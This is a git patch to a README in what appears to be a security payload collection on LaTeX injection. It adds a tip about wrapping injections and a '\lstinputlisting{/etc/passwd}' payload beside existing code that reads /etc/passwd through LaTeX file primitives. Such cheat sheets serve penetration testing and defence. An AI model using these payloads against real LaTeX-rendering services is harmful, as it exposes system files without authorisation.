From fa3cf25c5543a4958ac3a4029a6b11ba8cde4d90 Mon Sep 17 00:00:00 2001
From: clem9669 <18504086+clem9669@users.noreply.github.com>
Date: Thu, 29 Jun 2023 10:19:14 +0000
Subject: [PATCH] Update README.md

---
 LaTeX Injection/README.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/LaTeX Injection/README.md b/LaTeX Injection/README.md
index dbf0bc2..8bfae06 100644
--- a/LaTeX Injection/README.md	
+++ b/LaTeX Injection/README.md	
@@ -1,5 +1,7 @@
 # LaTex Injection
 
+You might need to adjust injection with wrappers as `\[` or `$`.
+
 ## Read file
 
 Read file and interpret the LaTeX code in it:
@@ -22,6 +24,7 @@ Read single lined file:
 Read multiple lined file:
 
 ```tex
+\lstinputlisting{/etc/passwd}
 \newread\file
 \openin\file=/etc/passwd
 \loop\unless\ifeof\file